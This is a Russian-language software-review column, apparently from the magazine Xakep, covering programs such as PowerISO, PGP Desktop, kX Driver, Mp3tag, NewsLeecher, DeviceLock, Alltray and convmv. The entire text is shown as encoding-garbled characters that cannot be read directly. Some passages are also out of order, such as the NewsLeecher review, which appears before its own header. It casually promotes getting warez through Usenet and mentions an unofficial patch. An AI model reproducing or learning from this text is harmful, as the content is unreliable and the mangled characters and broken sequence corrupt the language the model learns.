ïîâñåäíåâíîé äåÿòåëüíîñòè ïðîãðàììû èñïîëüçóåòñÿ òåõíîëîãèÿ êîìïðåññèè-äåêîìïðåññèè â ðåàëüíîì âðåìåíè ôàéëîâ îáðàçîâ ñ ðàñøèðåíèåì DAA, ÷òî ñóùåñòâåííî óìåíüøàåò ðàçìåðû óêàçàííûõ ôàéëîâ. Ïðè ýòîì ôàéëû ìîæíî ðåçàòü íà êóñêè íóæíûõ ðàçìåðîâ è â óæå ñæàòîì âèäå ïåðåñûëàòü èëè çàïèñûâàòü íà óäîáíûå íîñèòåëè. PowerISO ðàáîòàåò ñ ISO, BIN, NRG, DAA è äðóãèìè ôîðìàòàìè, óìååò äåëàòü àâòîçàãðóçî÷íûå ôàéëû, ñîçäàâàòü âèðòóàëüíûé CD/DVD-ïðèâîä è îïòèìèçèðîâàòü îáðàçû. Âñòðàèâàåòñÿ â Windows îáîëî÷êà ïî âûáîðó ïîëüçîâàòåëÿ, èìååò âûñîêóþ ñêîðîñòü ðàáîòû, ïðèÿòíûé è ïðîñòîé èíòåðôåéñ. Ñàìîå ãëàâíîå — ôàéëû ïðè ðàáîòå ñ PowerISO ìîãóò èñïîëüçîâàòüñÿ íàïðÿìóþ,

145


áåç ïðåäâàðèòåëüíîé ðàñïàêîâêè. Êàê ñëåäóåò ïîøóêàâ ïî Èíòåðíåòó, íàñòîé÷èâûå ñìîãóò íàéòè ñïåöèàëüíûé ïàò÷ ñ ðóññèôèêàöèåé ïðîãðàììû (ïðàâäà, îí íåîôèöèàëüíûé). Íî ïàò÷èòü, êîíå÷íî, íåîáÿçàòåëüíî. Òàê, âñåãî ëèøü îïöèÿ :).

FastStone Image Viewer 2.29 Windows 98/Me/NT/2000/XP Freeware Size: 2,8 Má www.faststone.org FastStone Image Viewer — ýòî ïðîãðàììà, çàòìåâàþùàÿ ñâîèì ðàçìåðîì, ñêîðîñòüþ è óäîáñòâîì ðàáîòû çíàìåíèòóþ ACDSee, ñ êàæäîé âåðñèåé îáðàñòàþùóþ ñîìíèòåëüíûìè, ñ òî÷êè çðåíèÿ ñóãóáîé ïîëåçíîñòè, íîâîââåäåíèÿìè è ïðèëè÷íî âîçðàñòàþùèìè òðåáîâàíèÿìè ê êîìïüþòåðíîìó «æåëåçó». FastStone æå, íàïðîòèâ, çàíèìàåò íåìíîãî ìåñòà è ðàáîòàåò î÷åíü áûñòðî. Ïîçâîëÿåò çàïðîñòî ðåäàêòèðîâàòü, êîíâåðòèðîâàòü è ïðîñìàòðèâàòü âñå èçâåñòíûå ãðàôè÷åñêèå ôàéëû, ïðè ýòîì óìååò ðàáîòàòü è ñ ïðîôåññèîíàëüíûìè ãðàôè÷åñêèìè RAW-ôîðìàòàìè ñàìûõ ðàçëè÷íûõ ïðîèçâîäèòåëåé öèôðîâûõ êàìåð. Ãóðó öèôðîâîé ôîòîãðàôèè áóäóò â íåïåðåäàâàåìîì âîñòîðãå :).

PGP Desktop 9.0.3 Windows 98/Me/NT/2000/XP Shareware Size: 19 Má www.pgpru.com Çàáðåë ñëó÷àéíî íà î÷åíü èíòåðåñíûé, ñ òî÷êè çðåíèÿ çàùèòû ëè÷íîé èíôîðìàöèè, ñàéò. Ñ õîäó ïðî÷èòàë, ÷òî «ê íàñòîÿùåìó âðåìåíè ñàéò «PGP â Ðîññèè» ñòàë ñàìûì àâòîðèòåòíûì è èñ÷åðïûâàþùèì èñòî÷íèêîì èíôîðìàöèè â Ðóíåòå è îäíèì èç íàèáîëåå ïîëíûõ ðåñóðñîâ Ñåòè ïî òåìàòèêå PGP, ïîñòîÿííî ðàñøèðÿÿ îñâåùàåìóþ îáëàñòü, à òàêæå îêàçàë áîëüøîå âëèÿíèå è íà äðóãèå ðåàëèçàöèè ñòàíäàðòà OpenPGP — ïðåæäå âñåãî íà GnuPG è íà èíûå ïðîãðàììû è ñðåäñòâà çàùèòû èíôîðìàöèè». Çàèíòåðåñîâàëñÿ. Íàáðåë íà ðàçäåë ïî àäðåñó: http://www.pgpru.com/soft/pgp/ download.shtml. Êñòàòè, ðåêîìåíäóþ çàãëÿíóòü òóäà âñåì èíòåðåñóþùèìñÿ âîïðîñàìè çàùèòû ñâîèõ äàííûõ îò ÷óæèõ æàäíûõ ãëàç è ðóê. Çàùèùàòüñÿ áóäåì ñ ïîìîùüþ PGP, à îôèöèàëüíûé ñàéò ïðîåêòà — www.pgp.com. Ñ ìîìåíòà ñâîåãî ïîÿâëåíèÿ â 1991 ãîäó PGP ñòàë ñòàíäàðòîì ñòîéêîãî øèôðîâàíèÿ â Èíòåðíåòå. Ýòà ïðîãðàììà ïîçâîëÿåò íàäåæíî çàùèòèòü îò ïðî÷òåíèÿ êàê ýëåêòðîííóþ ïî÷òó, íàõî-

146

äÿùóþñÿ íà ïóòè ê àäðåñàòó, òàê è ôàéëû, õðàíÿùèåñÿ íà äèñêå. Íà www.pgpru.com êà÷àåì ôðèâàðíûå âåðñèè ïðîãðàìì, íå ïðîïóñêàÿ íè ñëîâà èç îïèñàíèÿ ê íèì. Äëÿ æåëàþùèõ êîïàòü î÷åíü ãëóáîêî, äîñòóïíû äëÿ ñêà÷èâàíèÿ èñõîäíèêè. Ñêà÷èâàåì è øèôðóåìñÿ â ñàìîì ïðÿìîì ñìûñëå ýòîãî ñëîâà. Êñòàòè ãîâîðÿ, øèôðóÿ ñâîè äàííûå, êàæäûé íàõîäèòñÿ ñòðîãî â ðàìêàõ çàêîíà. Ñîãëàñíî «Çàêîíó îá èíôîðìàöèè, èíôîðìàòèçàöèè è çàùèòå èíôîðìàöèè», èíôîðìàöèîííûé ðåñóðñ ÿâëÿåòñÿ îáúåêòîì ïðàâà ñîáñòâåííîñòè. Ñîáñòâåííèê èíôîðìàöèîííîãî ðåñóðñà, ôèçè÷åñêîå èëè þðèäè÷åñêîå ëèöî, âïðàâå «óñòàíàâëèâàòü... ðåæèì è ïðàâèëà îáðàáîòêè, çàùèòû èíôîðìàöèîííûõ ðåñóðñîâ è äîñòóïà ê íèì». Óÿñíèâ âñå ýòî, ðåãèñòðèðóåìñÿ íà ñàéòå www.pgp.com, ïîëó÷àåì ìåéëîì ñåêðåòíûé ñïåöëèíê, ñ êîòîðîãî è âûêà÷èâàåì òðèàëüíóþ òðèäöàòèäíåâíóþ âåðñèþ ïðîãðàììû. Ïîñëå ýòîãî òùàòåëüíî êîíñïèðèðóåìñÿ è óñèëåííî ïðîñâåùàåìñÿ â îáëàñòè êðèïòîãðàôèè — ïðèãîäèòñÿ. Ïîó÷èòåëüíûé âî âñåõ ñìûñëàõ êîììåíòàðèé îò îäíîãî èç ïîëüçîâàòåëåé ïðîãðàììû: «Åäèíñòâåííî îïðàâäàííîå íàëè÷èå òàêîé ïðîãè íà ÏÊ — ýòî áîÿçíü êîíêóðåíöèè è ñîêðûòèå ñóïðóæåñêîé èçìåíû. Íó, è ñàìîå ãëàâíîå — ïðÿòàòü ñåéâû èãð îò «ïîäåëüíèêîâ» è ôîòêè ãîëûõ äåâîê îò ìàìû». Ñäàåòñÿ ìíå, ÷òî ìíîãèå âàæíûå îáëàñòè, êîíå÷íî, îõâà÷åíû, íî ìíîãèå åùå ïðèäåòñÿ îõâàòèòü ñ ïîìîùüþ PGP Desktop :).

kX Driver 5.10.0.3537 Windows 98/Me/NT/2000/XP Freeware Size: 4,1 Má http://kxproject.lugosoft.com/index.php?language=ru

Óìåëüöû èç kX Project ñîçäàëè ÷óäåñíóþ âåùü!  ðàçðàáîòêå áåñïëàòíûõ WDM-äðàéâåðîâ äëÿ âñåõ êÕ-ñîâìåñòèìûõ çâóêîâûõ êàðò èì ïðàêòè÷åñêè íåò ðàâíûõ. Èõ àóäèîäðàéâåð êÕ — ýòî íåçàâèñèìûé WDMäðàéâåð (Windows Driver Model) äëÿ âñåõ çâóêîâûõ êàðò, îñíîâàííûõ íà ÷èïàõ EMU10K1 è EMU10K2, ïðîèçâîäèìûõ Creative Technology Ltd. è/èëè E-mu Systems Inc., âêëþ÷àÿ SoundBlaster Live! series, E-mu Audio Production Studio (APS), è Audigy / Audigy2 è òàê äàëåå. Äèñòðèáóòèâ kX àóäèîäðàéâåðà âêëþ÷àåò âñå íåîáõîäèìûå ñèñòåìíûå ôàéëû, à òàêæå ìîùíóþ ïðîãðàììó-ìèêøåð (kX Mixer), êîòîðàÿ ïîçâîëÿåò ïîëüçîâàòåëþ ñ ïîìîùüþ ãðàôè÷åñêîãî èíòåðôåéñà ïîëó÷èòü äîñòóï êî âñåì âîçìîæíîñòÿì äðàéâåðà è ê îãðîìíîìó êîëè÷åñòâó âíóòðåííèõ ôóíêöèé àïïàðàòíîé ÷àñòè çâóêîâûõ êàðò. Ñëåäóþùèå âîçìîæíîñòè ïîëíîñòüþ ëèáî ÷àñòè÷íî ðåàëèçîâàíû â ïîñëåäíåé âåðñèè äðàéâåðà: Âîñïðîèçâåäåíèå è çàïèñü Wave MIDI-Ñèíòåçàòîð (Synth Engine) MIDI UART In/Out (ïîääåðæêà âíåøíèõ ÌÈÄÈ-óñòðîéñòâ) DirectSound 2D DirectSound 3D / EAX Soundfonts Ïîëíàÿ ïîääåðæêà ASIO Ïîääåðæêà çàãðóêè ìèêðîêîäà äëÿ DSP Ïîëíûé êîíòðîëü íàä AC97-êîäåêîì Ïîääåðæêà äåêîäèðîâàíèÿ AC3-çâóêà Ïîääåðæêà GSIF Åñòü è åùå öåëàÿ êó÷à ïðåèìóùåñòâ: — îòêðû��ûé ïðîåêò (äîêóìåíòàöèÿ SDK ïîëíîñòüþ äîñòóïíà); — àáñîëþòíî áåñïëàòåí (ìåöåíàòñòâî ïðèâåòñòâóåòñÿ); — âîçìîæíà ðàçðàáîòêà íåñòàíäàðòíûõ ìèêøåðîâ è äðóãèõ ïðèëîæåíèé; — êâàëèôèöèðîâàííûå ïîëüçîâàòåëè ìîãóò ïèñàòü ñâîè ýôôåêòû è ïëàãèíû; — ìàëûé îáúåì äðàéâåðà, ÷òî îáåñïå÷èâàåò áûñòðûé àïãðåéä; — ëó÷øàÿ ïîääåðæêà ÖÎÑ «äè-ýñ-ïè» (àïïàðàòíîå óñêîðåíèå çâóêîâûõ ýôôåêòîâ); XÀÊÅÐ 02 /86/ 06


— îïåðàòèâíàÿ âîçìîæíîñòü ìàññîâîé ìàðøðóòèçàöèè âèðòóàëüíûõ ñèãíàëîâ; — çàâåðøåííîå è ãèáêîå óïðàâëåíèå àïïàðàòíûìè ñðåäñòâàìè; — ïðÿìàÿ íåèíòåðïîëèðîâàííàÿ («áèò â áèò») SPDIF-çàïèñü ñ îïòè÷åñêèõ, êîàêñèàëüíûõ è äðóãèõ öèôðîâûõ èñòî÷íèêîâ; — ïîääåðæêà ASIO äëÿ âñåõ kÕ-çâóêîâûõ êàðò; — ëó÷øàÿ ïîääåðæêà MIDI.

Íàéäÿ êóñîê, ïðèäåòñÿ èñêàòü ðåøåíèå, òàê êàê áîëåå èëè ìåíåå âåñîìûé ñîôò îêàæåòñÿ ðàçáèò íà íåñìåòíûå òûñÿ÷è ÷àñòåé. Çäåñü íóæíà àâòîìàòèçàöèÿ, êîòîðóþ ïîñòàâëÿåò NewsLeecher. Ñ íèì ìîæíî èñêàòü è ñêà÷èâàòü âàðåç «îäíèì ãëîòêîì»: íàæàë êíîïêó — è íèêàêîãî äâèæíÿêà ïî âûøåîáîçíà÷åííûì ìíîãî÷èñëåííûì îáúåäêàì. Çà ïîñëåäíèé ãîä çàìåòíî óëó÷øèëèñü îïöèè ïîèñêà, è ê èíòåðôåéñó ïðèêðó÷åíû ïîëåçíûå ñèìïàòè÷íûå íàâîðîòû.

Tag&Rename 3.2

Mp3tag 2.35

Windows 95/98/Me/NT 4.0/2000/XP/2003 Server Shareware Size: 2,6 Má www.softpointer.com/download.htm#tr

Windows 95/98/ME/NT/2K/XP Freeware Size: 1530 Ká www.mp3tag.de/en Ïîçàâ÷åðà çàáîòà î MP3òýãàõ êàçàëàñü íåðàçóìíûì áàëîâñòâîì, ãëàâíîå, ÷òîáû ôàéë íàçûâàëñÿ êàê íàäî, ÷òîáû â àðõèâå íå çàïóòàòüñÿ. Â÷åðà — ïðèÿòíîé ïîëåçíîñòüþ, òàê êàê Mp3òðåéäåðû âûâîäÿò òýãè â ðàçðÿä íåîáõîäèìîñòè. Ñåãîäíÿ æå ïðîñòî ñòàíîâÿòñÿ óñëîâèåì âûæèâàíèÿ: íàéòè ôàéëû íà ìîåì iPod nano áåç èíôîðìàòèâíûõ òýãîâ ñòàíîâèòñÿ ðåøèòåëüíî íåâîçìîæíî. Âîçíèêàåò ïîòðåáíîñòü â íàâåäåíèè ãåíåðàëüíîé óáîðêè âñåé òâîåé êîëëåêöèè, ÷òîáû è óäîáíåå ñîðòèðîâàòü áûëî, è íîâîìîäíûé ïëååð íå çàïóòàëñÿ. Mp3Tag óìååò âñå ýòî è äàæå áîëüøå. Âñå ïðåæäå íåèçâåñòíîå, íåïîçíàâàåìîå äàæå ôèíàëèñòàìè «Óãàäàé ìåëîäèþ», îáðåòàåò èìåíà è íàçâàíèÿ ïðè ïîìîùè áàçû äàííûõ FreeDB.

Ýòà ïðîãðàììà íåçàìåíèìà äëÿ òåõ, êòî ñîáèðàåò ó ñåáÿ äîìà öèôðîâóþ àóäèîêîëëåêöèþ â ëþáûõ ôîðìàòàõ: mp3, wma, ogg, FLAC, ape è ìíîãèõ äðóãèõ. Îíà ïîçâîëÿåò ðåäàêòèðîâàòü òýãè — òåêñòîâóþ èíôîðìàöèþ, êîòîðàÿ íàõîäèòñÿ â àóäèîôàéëàõ, ïðè ýòîì âîçìîæíî ïðîèçâîäèòü ãðóïïîâûå äåéñòâèÿ ðàçëè÷íîãî õàðàêòåðà. Ïðîãðàììà ìîæåò ïåðåèìåíîâûâàòü çâóêîâûå ôàéëû ñîãëàñíî èíôîðìàöèè èç òýãîâ: íîìåðàì è íàçâàíèþ òðåêîâ, íàçâàíèþ àëüáîìà, èìåíè àðòèñòà, è íàîáîðîò, ïðîïèñûâàòü â òýãè, íàïðèìåð, íàçâàíèå ïåñíè èç èìåíè ôàéëà. Ñ ïîìîùüþ ïîäêëþ÷åíèÿ ê ñåðâåðó Freedb èëè Amazon.com ïðîãðàììà ìîæåò ïîëó÷àòü ïîëíóþ èíôîðìàöèþ îá àëüáîìå è ïðîïèñûâàòü åå â òýãè. Ïðîãðàììà îáåñïå÷èâàåò øèðîêèå âîçìîæíîñòè ïî îäèíî÷íîìó è ãðóïïîâîìó ðó÷íîìó ðåäàêòèðîâàíèþ òýãîâ. Èìååòñÿ âîçìîæíîñòü ñîñòàâëÿòü ïëåé-ëèñòû.  îáùåì, ýòî ëó÷øèé âûáîð äëÿ ñîñòàâëåíèÿ õîðîøî ñòðóêòóðèðîâàííîé àóäèîêîëëåêöèè.

NewsLeecher 3.5 Beta 2 Windows 95/98/ME/NT/2K/XP Shareware Size: 3148 Ká www.newsleecher.com Êóäà ïîäàòüñÿ, åñëè èñêîìûé ëàêîìûé êóñîê âàðåçà îòñóòñòâóåò íà äðóæåñêèõ ftp, íà IRC è â P2P? Îñòàåòñÿ ëèøü ïîåçäêà çà ïðèêëþ÷åíèÿìè íà êîìïüþòåðíûé òîë÷îê è ïîèñê êóñêà â news-êîíôåðåíöèÿõ.

F-Secure BlackLight 2.2.1007 Beta Windows 2K/XP/2003 Freeware Size: 607 Ká www.f-secure.com/blacklight Òû âîîðóæèëñÿ íàèâíûì ïðåäïîëîæåíèåì, ÷òî ñêà÷àâ âñå ïîñëåäíèå àïäåéòû Windows è çàñëîíèâ ñèñòåìó âñòðîåííûì ôàéðâîëîì, òåáå áóäåò ñóõî è êîìôîðòíî? Ïîðà îòêàçàòüñÿ îò ïîäîáíîé óñòàíîâêè è îáçàâåñòèñü ñïåöèàëüíûì ìèíè-êîìïëåêñîì ïî çà÷èñòêå ñèñòåìû îò âîçìîæíûõ ëàçóò÷èêîâ — ðóòêèòîâ. Òû óæå ìîã ïîçíàêîìèòüñÿ ñ äàííîé òåìîé îò èìåíèòîãî â security-êðóãàõ ïðîèçâîäèòåëÿ, îäíàêî îñòàåòñÿ øàíñ ïðèÿòíî óäèâèòüñÿ — ïîñëåäíÿÿ âåðñèÿ ñòàëà ôðèøíîé! Ïðîãà ñèëüíà ëèøü ïî òåìå àíàëèçà ïðîöåññîâ, òàê ÷òî äëÿ ãëóáèííîãî àíàëèçà ñèñòåìû áóäåò ðàçóìíûì äîïîëíèòü åå êîìïëåêòîì ÷åãî-òî âðîäå Rootkit Revealer’a (www.sysinternals.com).

SMS Reception Center 1.33 Windows 95/98/Me/2K/XP/2003 Shareware Size: 1377 Ká www.sw4me.com Íè ê ÷åìó ìû íå ïðèøëè, êîãäà îáåùàëè, ÷òî ñ ïîâñåìåñòíûì âíåäðåíèåì ñìàðòôîíîâ ñ qwerty-êëàâîé è ïîñëåäíèìè àíàëîãàìè æîïîðåçà ìû ñòàíåì ïèñàòü ìåéëû âìåñòî SMS. Íå òóò-òî áûëî! Êàê ñòðî÷èëè, òàê è åùå áîëüøå ñòðî÷èì òåïåðü... Ïî ÑÌÑ óæå ìîæíî êóïèòü äà÷ó è ëè÷íîå àâòî, íå ãîâîðÿ óæå î ïðèîáðåòåíèè íåâåñòû. Âîçíèêàåò åäèíñòâåííûé âîïðîñ îò âñåãî ýòîãî SMS-áëàãîëåïèÿ: êàêîãî Õ ìîé ñåðâàê åùå íå íàó÷èëñÿ ñëóøàòüñÿ SMS-êîìàíä ñ ìîåãî ìîáèëüíèêà? Ïðåäëàãàåìûé ñîôò óñòàíàâëèâàåò äâóñòîðîííþþ ñâÿçü: òû ìîæåøü ðóëèòü ñèñòåìîé, ïóëÿÿ ìåññàãè, à ñèñòåìà îòâåòèò âçàèìíîñòüþ — îïîâåñòèò XÀÊÅÐ 02 /86/ 06

147


â ñîîáùåíèè î ëþáûõ èçìåíåíèÿõ ñâîåãî ñàìî÷óâñòâèÿ. Äàæå ñòîëü ïðèìèòèâíûé êàíàë àäìèíèñòðèðîâàíèÿ, êàê ÑÌÑ, ïîçâîëÿåò ðàññòàâëÿòü ïðèâèëåãèè, ðàçäàâàÿ ðàçëè÷íûå óðîâíè äîñòóïà ê óïðàâëåíèþ ðàçíûì îòïðàâèòåëÿì. Ìîæíî óñòàíîâèòü îïîâåùåíèÿ î äåéñòâèÿõ òâîèõ ïîäîïå÷íûõ, êîòîðûå èìåþò òåíäåíöèþ ê íåïðîèçâîëüíîìó ðàçðóøåíèþ âñåãî ñåðâåðà.

Real Alternative 1.46 Windows 95/98/ME/NT/2K/XP Freeware Size: 6560 Ká www.codecguide.com Ñåé÷àñ âñåìó ïîÿâèëèñü àëüòåðíàòèâû: áåçàëêîãîëüíîå ïèâî, ðåçèíîâûå æåíùèíû, íèêîòèíîâûå ïëàñòûðè è äàæå áåñïëàòíûé ïëååð ra/rm è äðóãèå ðåàëüíûå ìåäèà-ôàéëû. Ïðèÿòíîå îòëè÷èå áåñïëàòíîãî êëîíà — îòñóòñòâèå ãðóçÿùåãî ðåêëàìíîãî èíòåðôåéñà, êîòîðûé íå óòîìëÿë ëèøü ñëåïîãî. Çäåñü æå ñëàäåíüêèé old-school — ñêèí ñ äîèñòîðè÷åñêîãî Windows Media Player. Ïðîãà äåéñòâèòåëüíî íå òðåáóåò áîëåå äåòàëüíîãî îïèñàíèÿ, åé ïðîñòî íóæíî âïèñàòüñÿ íà òâîé êîìï è íå ïîêèäàòü åãî, «ïîêà ñìåðòü íå ðàçëó÷èò âàñ»!

DeviceLock 6.0 Beta 1 Windows 2K/XP/2003 Shareware Size: 7049 Ká www.protect-me.com/dl Åñëè òû ðåøèë ñòàòü àäìèíèñòðàòîðîì äèêòàòîðñêîãî òèïà, òî îãðàíè÷èòü äîòóï þçåðîâ ê ðåñóðñàì è ñëóæáàì áóäåò íåäîñòàòî÷íî. «Âåðòèêàëü âëàñòè» ñåé÷àñ ðàçðóëèâàåòñÿ ïðè îáÿçàòåëüíîì óñëîâèè — îãðàíè÷åíèè äîñòóïà ê æåëåçó. Ïðåäëàãàåìûé ñîôò ñïðàâëÿåòñÿ ñ ðàáîòîé íà îòëè÷íî — êàæäîìó þçåðó ìîæíî âûäàòü ñâîé óðîâåíü äîñòóïà ê ïðèíòåðàì, âåðòóøêàì, ôëîïèêàì è ëþáîìó äðóãîìó æåëåçó íà êîìïàõ â ñåòè. Ñïðîñèøü: «À ðàçâå ÿ íå ìîã ñäåëàòü ïîäîáíîå ÷åðåç Ïðèíòåðû -> Äîñòóï?». Êîíå÷íî, âñå ýòè ôóíêöèè óæå áûëè äàâíî ðåàëèçîâàíû, íî â äàííîì ñëó÷àå ïðèÿòíî èõ êîìïàêòíîå íàõîæäåíèå â îäíîé ñîôòèíå. Îäíàêî ïðèñóòñòâóåò çäåñü îïöèÿ, êîòîðàÿ ïðèäåòñÿ ïî âêóñó âñåì ëþáèòåëÿì æåñòêîãî ìîíèòîðèíãà: ñîôò óìååò ñîõðàíÿòü ëþáóþ èíôó, ÷òî áûëà ñêà÷àíà ñ äåâàéñîâ ñèñòåìû èëè æå òóäà çàëèòà. Òåïåðü íèêòî èç ðàáîòíè÷êîâ íå óíåñåò ñåêðåòíûå äîêè èç îôèñà!


PETR SEMILETOV

www.roxton.kiev.ua

UNIXWARES Alltray POSIX (*BSD, Linux, Solaris...) Ðàçìåð (èñõîäíèê â tar.gz): 371 Êá. http://alltray.sourceforge.net/ Ëèöåíçèÿ: GNU GPL Èíòåðåñíàÿ ïðîãðàììà, êîòîðàÿ ïîçâîëÿåò ïîìåñòèòü â îáëàñòü óâåäîìëåíèÿ, à èíà÷å ãîâîðÿ â òðåé, ëþáóþ ïðîãðàììó, ðàçðàáîòàííóþ ïîä ãðàôè÷åñêèé èíòåðôåéñ. Alltray ðàáîòàåò â KDE, Gnome, WindowMaker, Fluxbox è XFCE 4.2. Äëÿ ñáîðêè ïðîãðàììû èç èñõîäíèêà íóæåí ëèøü GTK+2.2 èëè âûøå. ×òîáû ïîìåñòèòü íóæíóþ òåáå ïðîãðàììó â òðåé, çàïóñêàé åå êîìàíäîé «alltray <òâîÿ ïðîãðàììà>». Ïîñëå ýòîãî âûïîëíåíèÿ ïðîãðàììà ïîÿâèòñÿ â òðåå â ñâåðíóòîì âèäå. Åñëè àâòîìàòè÷åñêîå ñâîðà÷èâàíèå íå íóæíî, òî èñïîëüçóé â êîìàíäíîé ñòðîêå çàïóñêà alltray êëþ÷ -s èëè -show. ×òîáû ðàçâåðíóòü îêíî ïðîãðàììû èç òðåÿ, íàäî ùåëêíóòü ïî åãî çíà÷êó â òðåå. Ïðè èçìåíåíèè òåì îôîðìëåíèÿ â KDE íàäî âûçâàòü äèàëîãîâîå îêíî íàñòðîéêè Alltray. Äåëàåòñÿ ýòî êîìàíäîé «alltray-configure». Ïîÿâèòñÿ îêîøêî, ãäå íàäî ùåëêíóòü ïî êíîïêå çàêðûòèÿ îêíà. Ýòî ÷òîáû Alltray çíàë, êàêóþ êíîïêó èñïîëüçóåò äëÿ çàêðûòèÿ îêíà êîíêðåòíàÿ òåìà KDE.

Ksquirrel POSIX (*BSD, Linux, Solaris...) Ðàçìåð (èñõîäíèê â tar.bz2): 1 Ìá. http://ksquirrel.sourceforge.net/ Ëèöåíçèÿ: GNU GPL ß äàâíî õîòåë ïîïðîáîâàòü ýòó ñìîòðåëêó êàðòèíîê. Ñàì èñïîëüçóþ GQview. À òóò çàõîòåëîñü íîâîãî. Õîòÿ áû ïîñìîòðåòü. Íàøåë åå ó ñåáÿ â äèñòðèáóòèâå Mandrake, íî òàì îêàçàëîñü, ÷òî ïàêåò ïëîõî ñîáðàí. Íåò áèáëèîòåê äëÿ ðàñïîçíàâàíèÿ ãðàôè÷åñêèõ ôîðìàòîâ. Ïðèøëîñü êà÷àòü è ñòàâèòü èç èñõîäíèêîâ. Ñ ñàéòà íàäî âçÿòü áèáëèîòåêè ksquirrel-libs è ñàìó ïðîãðàììó KSquirrel. Íà äâîèõ — îêîëî 2-õ Ìá. Êðîìå òîãî, äëÿ ñáîðêè íóæíû çàãîëîâî÷íûå ôàéëû KDE — kdebase-devel. Ýòî çàíèìàåò ïî÷òè 20 Ìá. Íàñòðàèâàòü èñõîäíèêè ksquirrel è Ksquirell íóæíî ïåðåä ñáîðêîé, çàïóñòèâ ñêðèïò configure.gnu, à íå ïðîñòî configure configure. Èíà÷å ñ ïóòÿìè ê áèáëèîòåêàì âîçíèêíåò ïóòàíèöà. Ëàäíî. Ñîáðàëè, à ïîòîì çàïóñòèëè. Íà ïåðâûé âçãëÿä âñå âûãëÿäèò ïðîñòî çàìå÷àòåëüíî. Ïîääåðæêà ïî÷òè 40 ôîðìàòîâ! Íàáîð ôóíêöèé âïå÷àòëÿåò. Ìîæíî óñòàíîâèòü êàðòèíêó â êà÷åñòâå îáîåâ ðàáî÷åãî ñòîëà, îòêðûòü â GIMP, åñòü ðåæèì ñëàéä-øîó è ïðî÷åå. Âèäíû çàêëàäêè KDE. Åñòü ñâåðòûâàíèå â òðåé. Îäíèì ñëîâîì, âñå î÷åíü çäîðîâî, åñëè áû íå ëîæêà äåãòÿ. Äëÿ îòîáðàæåíèÿ êàðòèíîê KSquirrel èñïîëüçóåò OpenGL. À ó ìåíÿ äðàéâåðà ê âèäåîêàðòå áåç àïïàðàòíîãî óñêîðåíèÿ. Ìîæåò, ýòî ïîâëèÿëî íà ôàêò, ÷òî åñëè ÿ ùåëêàþ ïî êàðòèíêå, ÷òîá åå ïîñìîòðåòü, òî ïîÿâëÿåòñÿ îêíî, à â îêíå âìåñòî êàðòèíêè — ñíèìîê, êîòîðûé ëåæèò ïîä îêíîì îáëàñòè. Íî â ìåíþ View ñêðûâàåòñÿ ïóíêò Separate image window. Åñëè ñíÿòü ñ íåãî ãàëî÷êó, òî êàðòèíêà ó ìåíÿ âñå æå îòîáðàæàåòXÀÊÅÐ 02 /86/ 06

ñÿ, îäíàêî â òîì æå îêíå, ÷òî è ìèíèàòþðû. Ñìîòðåòü ìîæíî, åñëè íå íàæèìàòü íà êíîïêó Fullscreen. À åñëè íàæàòü? Îïÿòü èçäåðæêè OpenGL, òàê ÷òî KDE ïðîñòî âûëåòåëà â êîíñîëü. Çäåñü íà÷èíàþòñÿ ÷óäåñà. Åñëè â ïîëíîýêðàííûé ðåæèì íå èäòè, à âìåñòî ýòîãî ñíîâà ïîñòàâèòü ãàëî÷êó íà óïîìÿíóòîì âûøå ïóíêòå ìåíþ, òî «âíåøíåå» îêíî äëÿ âûâîäà êàðòèíêè íà÷èíàåò ðàáîòàòü êàê íàäî.  èòîãå âïå÷àòëåíèÿ äâîéñòâåííûå. Ñ îäíîé ñòîðîíû, ñìîòðåëêà î÷åíü ìîùíàÿ, ìíîãî ïîëåçíûõ ôóíêöèé. Ñ äðóãîé — ãëþêè, ñâÿçàííûå ñ OpenGL, õîòÿ ÿ íå çíàþ, âîçìîæíî, ýòî ñâÿçàíî ñ ðåàëèçàöèåé äðàéâåðîâ â êîíêðåòíî âçÿòîé ñèñòåìå, òî åñòü â ìîåé. Ïîïðîáóé, ìîæåò, òåáå áîëüøå ïîâåçåò. Ìàêñèìàëüíûé ðèñê — âûëåò ãðàôè÷åñêîé ñðåäû, à âåðíåå èêñîâ.

Convmv POSIX (*BSD, Linux, Solaris...) Ðàçìåð (èñõîäíèê â tar.gz): 21 Êá. http://j3e.de/linux/convmv/ Ëèöåíçèÿ: GNU GPL Ïîëåçíàÿ ïðîãðàììà (ÿçûê íå ïîâîðà÷èâàåòñÿ íàçâàòü åå ñêðèïòîì) íà Perl. Ïðåäíàçíà÷åíà äëÿ òàêîãî âàæíîãî äåëà, êàê êîíâåðòèðîâàíèå èìåí ôàéëîâ â äðóãóþ êîäèðîâêó. Ñ ýòîé ïðîáëåìîé ðàíî èëè ïîçäíî ñòàëêèâàåòñÿ êàæäûé, êòî êîïèðîâàë ôàéëû ñ ëîêàëèçîâàííûìè íàçâàíèÿìè ìåæäó ðàçëè÷íûìè ôàéëîâûìè ñèñòåìàìè. È ïîòîì âäîáàâîê çàïèñûâàë òàêèå ôàéëû íà CD. Conmv ìîæåò ïîìî÷ü èñïðàâèòü ñèòóàöèþ. Èñïîëüçîâàòü ýòó ïðîãðàììó î÷åíü ïðîñòî.  ñàìîì ïðîñòîì ñëó÷àå êîìàíäà çàïóñêà convmv áóäåò òàêîé: «convmv -f <èñõîäíàÿ êîäèðîâêà> -t <êîäèðîâêà íàçíà÷åíèÿ ôàéëà>».

149


Ñïèñîê ïîääåðæèâàåìûõ êîäèðîâîê ìîæíî ïîëó÷èòü êîìàíäîé «convmv-list». Ýòî êîäèðîâêè, ïîääåðæèâàåìûå ñòàíäàðòíîé áèáëèîòåêîé iconv. ×òîáû âêëþ÷èòü ðåêóðñèâíûé ïðîõîä âãëóáü ïî êàòàëîãàì, èñïîëüçóé ïàðàìåòð -r. À ÷òîáû ïðîãðàììà çàïðàøèâàëà ïîäòâåðæäåíèå íà ïåðåèìåíîâàíèå, äîáàâü â êîìàíäíóþ ñòðîêó êëþ÷èê -i. Êðîìå òîãî, óòèëèòà óìååò èçìåíÿòü ðåãèñòð èìåí ôàéëîâ.

